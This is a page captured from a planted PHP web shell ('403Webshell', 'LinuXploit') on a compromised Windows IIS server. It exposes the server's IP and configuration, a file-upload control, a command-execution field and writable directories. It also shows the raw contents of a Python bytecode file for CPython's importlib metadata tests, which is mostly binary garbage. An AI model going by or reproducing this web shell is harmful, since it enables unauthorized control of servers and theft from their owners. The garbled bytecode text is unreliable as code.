403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/test_importlib/metadata/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/test_importlib/metadata/__pycache__/test_main.cpython-313.pyc
�

��i>�
�x�SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKJr SSK	J
r SSKJr SSKJr SSKJr SSKJrJrJrJrJrJrJrJrJr \R:S	5r"S
S\R>\R@5r!"SS
\R>\R@5r""SS\RF\RH\R@5r%"SS\RF\RH\R@5r&"SS\RN\RP\RR\RT\R>\R@5r+"SS\RF\RH\R@5r,"SS\RF\R@5r-"SS\RF\R@5r."SS\R@5r/"SS\RF\RH\R`\R@5r1"SS\Rd\R@5r3"S S!\RF\RH\R@5r4"S"S#\RN\RP\RR\RT\R@5r5"S$S%\Rl\R@5r7g!\a
 SSK
J
r GN�f=f)&�N)�	os_helper�)�fake_filesystem_unittest)�fixtures)�suppress)�Symlink)	�Distribution�
EntryPoint�PackageNotFoundError�_unique�
distributions�entry_points�metadata�packages_distributions�versionc#�# �[R"SS9n[R"S[S9 Uv� SSS5 g!,(df   g=f7f)NT)�record�default)�category)�warnings�catch_warnings�simplefilter�DeprecationWarning)�ctxs �;C:\Python313\\Lib\test\test_importlib\metadata\test_main.py�suppress_known_deprecationrs6���	�	 �	 ��	-�����i�2D�E��	�
.�	-�	-�s�A�>�	A�
A�Ac��\rSrSrSrSrSrSr\"\	5\
"5S55r\R"\"SS9\"S	S95S
5rSrg)�
BasicTests�&z\d+\.\d+(\.\d)?c���[R"S5n[UR[5(de[
R"URUR5(deg)N�distinfo-pkg)r	�	from_name�
isinstancer�str�re�match�version_pattern��self�dists  r�test_retrieves_version_of_self�)BasicTests.test_retrieves_version_of_self)sJ���%�%�n�5���$�,�,��,�,�,�,��x�x��,�,�d�l�l�;�;�;�;�c��UR[5 [R"S5 SSS5 g!,(df   g=f)N�does-not-exist)�assertRaisesrr	r"�r)s r�test_for_name_does_not_exist�'BasicTests.test_for_name_does_not_exist.s,��
�
�
�3�
4��"�"�#3�4�5�
4�
4��	�6�
Ac���UR[5n[R"S5 SSS5 S[	WR
5;deg!,(df   N*=f)z�
When a package is not found, that could indicate that the
package is not installed or that it is installed without
metadata. Ensure the exception mentions metadata to help
guide users toward the cause. See #124.
r/Nr)r0rr	r"r$�	exception)r)rs  r�(test_package_not_found_mentions_metadata�3BasicTests.test_package_not_found_mentions_metadata2sK���
�
�3�
4���"�"�#3�4�5��S����/�/�/�/�5�
4�s�A�
Ac��UR[5 [S[405"5 SSS5 g!,(df   g=f)N�DistributionSubclass)r0�	TypeError�typer	r1s r�test_abc_enforced�BasicTests.test_abc_enforced?s0���
�
�y�
)��'�,��"�=�?�*�
)�
)�s	�7�
AN��name�c��UR[5 [R"U5 SSS5 g!,(df   g=f�N)r0�	Exceptionr	r")r)r@s  r� test_invalid_inputs_to_from_name�+BasicTests.test_invalid_inputs_to_from_nameEs,��
�
�
�y�
)��"�"�4�(�*�
)�
)�r4�)�__name__�
__module__�__qualname__�__firstlineno__r'r+r2r7r�AssertionErrorrr=r�parameterize�dictrE�__static_attributes__rGr-rrr&si��(�O�<�
5�
0��n���!�@�"��@�����$���"�
��)�	�)r-rc�,�\rSrSrSrSrSrSrSrg)�ImportTests�Nc��UR[5 [R"S5 SSS5 g!,(df   g=f)N�does_not_exist)r0�ImportError�	importlib�
import_moduler1s r�test_import_nonexistent_module�*ImportTests.test_import_nonexistent_moduleOs-���
�
�{�
+��#�#�$4�5�,�
+�
+�r4c�p�[SS9SnURUR5RS5 g)N�entries��group�main)r�assertEqual�loadrH�r)�eps  r�test_resolve�ImportTests.test_resolveUs-��
�	�
*�6�
2���������+�+�V�4r-c�T�[SS9SnURURS5 g)Nr[r\zns:subzmod:main)rr_�valueras  r�"test_entrypoint_with_colon_in_name�.ImportTests.test_entrypoint_with_colon_in_nameYs%��
�	�
*�8�
4��������:�.r-c�`�[SSSS9nUR5[RLdeg)Nrbzimportlib.metadata�grp�r@rfr])r
r`rVrras  r�test_resolve_without_attr�%ImportTests.test_resolve_without_attr]s1��
��&��
��
�w�w�y�I�.�.�.�.�.r-rGN)	rHrIrJrKrXrcrgrlrOrGr-rrQrQNs��6�5�/�/r-rQc�6�\rSrSr\S5rSrSrSrSr	g)�NameNormalizationTests�fc��US3SS00$)z]
Create minimal metadata for a dist-info package with
the indicated name on the file system.
�
.dist-info�METADATAz
VERSION: 1.0
rGr?s r�make_pkg�NameNormalizationTests.make_pkggs#���f�J���,�"�
�	
r-c��[R"URS5UR5 [	S5S:Xdeg)zx
For a package with a dash in the name, the dist-info metadata
uses underscores in the name. Ensure the metadata loads.
�my_pkgzmy-pkg�1.0N)r�build_filesrt�site_dirrr1s r�-test_dashes_in_dist_name_found_as_underscores�DNameNormalizationTests.test_dashes_in_dist_name_found_as_underscoresss4��
	���T�]�]�8�4�d�m�m�D��x� �E�)�)�)r-c��Sn[R"URU5UR5 [	U5S:Xde[	UR55S:Xde[	UR
55S:Xdeg)z7
Ensure the metadata loads when queried with any case.
�CherryPyrxN)rryrtrzr�lower�upper)r)�pkg_names  r� test_dist_name_found_as_any_case�7NameNormalizationTests.test_dist_name_found_as_any_case{sm�������T�]�]�8�4�d�m�m�D��x� �E�)�)�)��x�~�~�'�(�E�1�1�1��x�~�~�'�(�E�1�1�1r-c��[R"URS5UR5 [	[[
555nURR[R"55nURRURU55 [R"URS5U5 [	[[
555n[U5[U5:Xdeg)zf
Two distributions varying only by non-normalized name on
the file system should resolve as the same.
�abc�ABCN)rryrtrz�listrr
�
enter_context�tempdir�add_sys_path�len)r)�before�alt_site_dir�afters    r�test_unique_distributions�0NameNormalizationTests.test_unique_distributions�s���
	���T�]�]�5�1�4�=�=�A��g�m�o�.�/���}�}�2�2�8�3C�3C�3E�F���
�
�#�#�D�$5�$5�l�$C�D����T�]�]�5�1�<�@��W�]�_�-�.���5�z�S��[�(�(�(r-rGN)
rHrIrJrK�staticmethodrtr{r�r�rOrGr-rrorofs#���	
��	
�*�2�
)r-roc�@�\rSrSr\S5r\S5rSrSrSr	g)�
NonASCIITests�c�<�SSS00n[R"X5 g)zJ
Create minimal metadata for a package with non-ASCII in
the description.
�portend.dist-inforsuDescription: pôrˈtend�portend�rry�rz�contentss  r�pkg_with_non_ascii_description�,NonASCIITests.pkg_with_non_ascii_description�s,��
 ��5�"�
��
	���X�0�r-c�<�SSS00n[R"X5 g)zT
Create minimal metadata for an egg-info package with
non-ASCII in the description.
r�rsu:
                Name: portend

                pôrˈtendr�r�r�s  r�'pkg_with_non_ascii_description_egg_info�5NonASCIITests.pkg_with_non_ascii_description_egg_info�s.��
 ���"�
��	���X�0�r-c�f�URUR5n[U5nUSS:Xdeg�N�Descriptionu
pôrˈtend)r�rzr�r)r��metas   r�test_metadata_loads�!NonASCIITests.test_metadata_loads�s3���6�6�t�}�}�E����!���M�"�l�2�2�2r-c�f�URUR5n[U5nUSS:Xdegr�)r�rzrr�s   r�test_metadata_loads_egg_info�*NonASCIITests.test_metadata_loads_egg_info�s3���?�?��
�
�N����!���M�"�l�2�2�2r-rGN)
rHrIrJrKr�r�r�r�r�rOrGr-rr�r��s2���������� 3�
3r-r�c�&�\rSrSrSrSrSrSrg)�DiscoveryTests�c�V�[[55n[SU55(de[SU55(de[SU55(de[SU55(de[SU55(de[SU55(deg)Nc3�B# �UHn[U[5v� M g7frC)r#r	��.0r*s  r�	<genexpr>�8DiscoveryTests.test_package_discovery.<locals>.<genexpr>�s���D�e�d�:�d�L�1�1�e���c3�D# �UHoRSS:Hv� M g7f)�Name�egginfo-pkgN�rr�s  rr�r��s���L�e�d�=�=��(�M�9�e��� c3�D# �UHoRSS:Hv� M g7f)r��egg_with_module-pkgNr�r�s  rr�r��s���T�e�d�=�=��(�,A�A�e�r�c3�D# �UHoRSS:Hv� M g7f)r��egg_with_no_modules-pkgNr�r�s  rr�r��s���X�RW�$�=�=��(�,E�E�RW�r�c3�D# �UHoRSS:Hv� M g7f)r��sources_fallback-pkgNr�r�s  rr�r��s���U�u�t�=�=��(�,B�B�u�r�c3�D# �UHoRSS:Hv� M g7f)r�r!Nr�r�s  rr�r��s���M�u�t�=�=��(�N�:�u�r�)r�r
�all�any�r)�distss  r�test_package_discovery�%DiscoveryTests.test_package_discovery�s����]�_�%���D�e�D�D�D�D�D��L�e�L�L�L�L�L��T�e�T�T�T�T�T��X�RW�X�X�X�X�X��U�u�U�U�U�U�U��M�u�M�M�M�M�Mr-c��UR[5 [[SSS95 SSS5 g!,(df   g=f)N�	something�else)�contextr@)r0�
ValueErrorr�r
r1s r�test_invalid_usage�!DiscoveryTests.test_invalid_usage�s+��
�
�
�z�
*���{��@�A�+�
*�
*�s	�3�
Ac�Z�[5n[U5 [S5 [U5 g)z�
Ensure interleaved searches are safe.

When the search is cached, it is possible for searches to be
interleaved, so make sure those use-cases are safe.

Ref #293
r�N)r
�nextrr�s  r�test_interleaved_discovery�)DiscoveryTests.test_interleaved_discovery�s!������U���
���U�r-rGN)rHrIrJrKr�r�r�rOrGr-rr�r��s��N�B�r-r�c� �\rSrSrSrSrSrg)�
DirectoryTest��c���URRS5R5 UR[5 [S5 SSS5 g!,(df   g=f)NzEGG-INFOzunknown-package)rz�joinpath�mkdirr0rrr1s r�
test_egg_info�DirectoryTest.test_egg_info�sA���
�
���z�*�0�0�2�
�
�
�3�
4��%�&�5�
4�
4�s�A�
A"c�$�URRS5nUR5 URU5 UR	[
5 [
S5 SSS5 SSS5 g!,(df   N=f!,(df   g=f)Nzfoo-3.6.egg�foo)rzr�r�r�r0rr)r)�eggs  r�test_egg�DirectoryTest.test_egg�s`���m�m�$�$�]�3���	�	��
�
�
�s�
#��"�"�#7�8����9�$�
#�8�8��$�
#�s#�B�A0�B�0
A>	�:B�
BrGN)rHrIrJrKr�r�rOrGr-rr�r��s��'�r-r�c��\rSrSrSrSrSrg)�MissingSysPath��z/does-not-existc�@�[RR5 g�zX
Discovering distributions should succeed even if
there is an invalid path on sys.path.
N)rVrr
r1s r�test_discovery�MissingSysPath.test_discovery�s��
	���(�(�*r-rGN)rHrIrJrKrzr�rOrGr-rr�r��s�� �H�+r-r�c�2^�\rSrSrSrU4SjrSrSrU=r$)�InaccessibleSysPath�z/access-deniedc�>�[TU]5 UR5 URR	UR
SS9 g)Nr)�	perm_bits)�super�setUp�
setUpPyfakefs�fs�
create_dirrz)r)�	__class__s �rr��InaccessibleSysPath.setUps3���
��
�����������4�=�=�C��8r-c�R�[[RR55 gr�)r�rVrr
r1s rr��"InaccessibleSysPath.test_discoverys��
	
�Y�
�
�
-�
-�
/�0r-rG)	rHrIrJrKrzr�r�rO�
__classcell__�r�s@rr�r��s����H�9�
1�1r-r�c�X^�\rSrSrU4SjrSrSrSrSrSr	Sr
S	rS
rSr
U=r$)�TestEntryPointsic�h>�[TU]"U6 [RR	SSSS9Ulg)Nr@rfr]rk)r��__init__rVrr
rb)r)�argsr�s  �rr��TestEntryPoints.__init__s4���
���$���$�$�/�/��w�g�0�
��r-c��[R"[R"UR55nXR:XdegrC)�pickle�loads�dumpsrb)r)�reviveds  r�test_entry_point_pickleable�+TestEntryPoints.test_entry_point_pickleables-���,�,�v�|�|�D�G�G�4�5���'�'�!�!�!r-c��[SSS5 g)z8
Capture legacy (namedtuple) construction, discouraged.
r@rfr]N)r
r1s r�test_positional_args�$TestEntryPoints.test_positional_argss��	�6�7�G�,r-c��UR[5 SURlSSS5 g!,(df   g=f)zEntryPoints should be immutable�badactorN)r0�AttributeErrorrbr@r1s r�test_immutable�TestEntryPoints.test_immutable s'��
�
�
�~�
.�%�D�G�G�L�/�
.�
.�s�1�
?c��S[UR5;deS[UR5;deS[UR5;deg)Nr
zname=z'name')�reprrbr1s r�	test_repr�TestEntryPoints.test_repr%sD���t�D�G�G�}�,�,�,��$�t�w�w�-�'�'�'��4����=�(�(�(r-c�.�[UR5 g)zEntryPoints should be hashableN)�hashrbr1s r�
test_hashable�TestEntryPoints.test_hashable*s
���T�W�W�
r-c�<�URRS:Xdeg)Nrf)rb�moduler1s r�test_module�TestEntryPoints.test_module.s���w�w�~�~��(�(�(r-c�6�URRbegrC)rb�attrr1s r�	test_attr�TestEntryPoints.test_attr1s���w�w�|�|�#�#�#r-c	�B�[[SSSS9[SSSS9/5 g)z;
EntryPoint objects are sortable, but result is undefined.
�b�valr]rk�aN)�sortedr
r1s r�
test_sortable�TestEntryPoints.test_sortable4s)��	��C�u�G�<��C�u�G�<�
�	r-)rb)rHrIrJrKr�rrrrrrrrrOr�r�s@rr�r�s5���
�"�-�&�
)�
�)�$��r-r�c��\rSrSrSrSrg)�
FileSystemi>c��[R"UR500URS9 [	[55 g)zJ
Ensure a Unicode subdirectory of a directory on sys.path
does not crash.
��prefixN)rry�unicode_filenamerzr�r
r1s r�test_unicode_dir_on_sys_path�'FileSystem.test_unicode_dir_on_sys_pathAs6��
	���
�
"�
"�
$�b�)��=�=�	
�	
�]�_�r-rGN)rHrIrJrKr'rOrGr-rr"r">s��	r-r"c� �\rSrSrSrSrSrg)�!PackagesDistributionsPrebuiltTestiMc�N�URS5 [5SS/:Xdeg)Nzexample-21.12-py3-none-any.whl�example��_fixture_on_pathrr1s r�#test_packages_distributions_example�EPackagesDistributionsPrebuiltTest.test_packages_distributions_exampleNs)�����>�?�%�'�	�2�y�k�A�A�Ar-c�N�URS5 [5SS/:Xdeg)z<
Test packages_distributions on a wheel built
by trampolim.
zexample2-1.0.0-py3-none-any.whl�example2Nr-r1s r�$test_packages_distributions_example2�FPackagesDistributionsPrebuiltTest.test_packages_distributions_example2Rs+��
	
���?�@�%�'�
�3�
�|�C�C�Cr-rGN)rHrIrJrKr/r3rOrGr-rr*r*Ms��B�Dr-r*c�H�\rSrSrSrSr\RSSj5rSr	g)�PackagesDistributionsTesti[c�^�[R"SSS00URS9 [5 g)z>
Test a package built without 'top-level.txt' or a file list.
ztrim_example-1.0.0.dist-inforszS
                Name: trim_example
                Version: 1.0.0
                r$N)rryrzrr1s r�6test_packages_distributions_neither_toplevel_nor_files�PPackagesDistributionsTest.test_packages_distributions_neither_toplevel_nor_files^s8��	���.��!�1�
��=�=�
	
�	� r-c�8�[RR5n[SS9nSU0n[	U5H3upEURSUU3SSU3SU3S0SU3S	SSU3S005 M5 UR
"[R"U5S
9 [R"X0RS9 [5n[[U55H0nUSU3S/:XdeUSU3S/:XdeUSU3S/:XaM0e [S
U55(aeg)zG
Test top-level modules detected on a package without 'top-level.txt'.
zX
                Name: all_distributions
                Version: 1.0.0
                )rsz!all_distributions-1.0.0.dist-infozimportable-name rA�
in_namespace_�mod�in_package_z__init__.py)�RECORDr$�all_distributionsc3�B# �UHoRS5v� M g7f)rrN)�endswith)r�r@s  rr��YPackagesDistributionsTest.test_packages_distributions_all_module_types.<locals>.<genexpr>�s���M�}�t�}�}�\�2�2�}�r�N)rV�	machinery�all_suffixesrN�	enumerate�updater�build_recordryrzr�ranger�r�)r)�suffixesr�files�i�suffixr
s       r�,test_packages_distributions_all_module_types�FPackagesDistributionsTest.test_packages_distributions_all_module_typesosa���&�&�3�3�5����
��
0��
��#�8�,�I�A��L�L�"�1�#�f�X�.����s�#��&��N�B�&��a�S�!�!�2��&��N�B�$�	�	
�-�	���x�4�4�U�;�<����U�=�=�9�.�0�
��s�8�}�%�A� �#3�A�3�!7�8�=P�<Q�Q�Q�Q� �=���!4�5�:M�9N�N�N�N� �;�q�c�!2�3�8K�7L�L�L�L�&�
�M�}�M�M�M�M�M�Mr-Nc��SSS.0[S5S.n[R"XR5 [	5SS/:Xdeg)	zQ
Distribution is resolvable from a simple top-level symlink in RECORD.
See #452.
z`
                    Name: symlinked-pkg
                    Version: 1.0.0
                    zsymlinked,,
)rsr>�.symlink.target)zsymlinked_pkg-1.0.0.dist-inforP�	symlinkedrQz
symlinked-pkgN)rrryrzr)r)rJs  r�/test_packages_distributions_symlinked_top_level�IPackagesDistributionsTest.test_packages_distributions_symlinked_top_level�sS���*�.� "� �!2�3�
%
��	���U�M�M�2�%�'��4��8I�I�I�Ir-rG)�returnN)
rHrIrJrKr8rMr�skip_unless_symlinkrRrOrGr-rr6r6[s*��!�"#N�J�"�"�J�#�Jr-r6c��\rSrSrSrSrg)�PackagesDistributionsEggTesti�c�^�[5mU4SjnU"S5S1:XdeU"S5S1:XdeU"S5[5:XdeU"S5S1:Xdeg	)
zw
Test old-style egg packages with a variation of 'top_level.txt',
'SOURCES.txt', and 'installed-files.txt', available.
c�j>�TR"5VVs1sHupX;dMUiM snn$s snnfrC)�items)�package_name�import_name�
package_namesr
s   �r�import_names_from_package�cPackagesDistributionsEggTest.test_packages_distributions_on_eggs.<locals>.import_names_from_package�s=���3@�2E�2E�2G��2G�.�K��0��2G��
��s�/�/r�r<r��egg_with_moduler�r��sources_fallbackN)r�set)r)r^r
s  @r�#test_packages_distributions_on_eggs�@PackagesDistributionsEggTest.test_packages_distributions_on_eggs�su���
/�0�
�	�)��7�E�7�B�B�B�)�)>�?�DU�CV�V�V�V�)�)B�C�s�u�L�L�L�)�)?�@�EW�DX�X�X�Xr-rGN)rHrIrJrKrcrOrGr-rrWrW�s��Yr-rWc��\rSrSrSrSrg)�EditableDistributionTesti�c���[R"S5nURRR	S5(deURR
RR(deg)Nr!z.whl)r	r"�origin�urlrA�archive_info�hashes�sha256r(s  r�test_origin�$EditableDistributionTest.test_origin�sP���%�%�n�5���{�{���'�'��/�/�/�/��{�{�'�'�.�.�5�5�5�5r-rGN)rHrIrJrKrmrOrGr-rrfrf�s��6r-rf)8r%r��unittestrrV�importlib.metadata�
contextlib�test.supportr�!pyfakefs.fake_filesystem_unittestr�ffsrU�stubsrAr�_contextr�_pathrr	r
rrr
rrrr�contextmanagerr�DistInfoPkg�TestCaserrQ�	OnSysPath�SiteDirror��
EggInfoPkg� EggInfoPkgPipInstalledNoToplevel�EggInfoPkgPipInstalledNoModules�EggInfoPkgSourcesFallbackr�r�r�r�r��FileBuilderr"�ZipFixturesr*r6rW�DistInfoPkgEditablerfrGr-r�<module>r�sW��	�
������"�7�3����
�
�
�������%)��%�%�x�'8�'8�%)�P/�(�&�&��(9�(9�/�0,)�X�/�/��1A�1A�8�CT�CT�,)�^(3�H�&�&��(8�(8�(�:K�:K�(3�V!�����-�-��,�,��&�&�������
!�H
�H�&�&��(8�(8�(�:K�:K�
� +�X�'�'��):�):�+�
1�(�,�,�c�l�l�
1� ,�h�'�'�,�^�����(�(�(�*>�*>��@Q�@Q��D��(<�(<�h�>O�>O�D�MJ�����(�(�(�*;�*;�MJ�`"Y�����-�-��,�,��&�&����"Y�J6�x�;�;�X�=N�=N�6��I�7�6�6�7�s�J)�)J9�8J9

Youez - 2016 - github.com/yon3zu
LinuXploit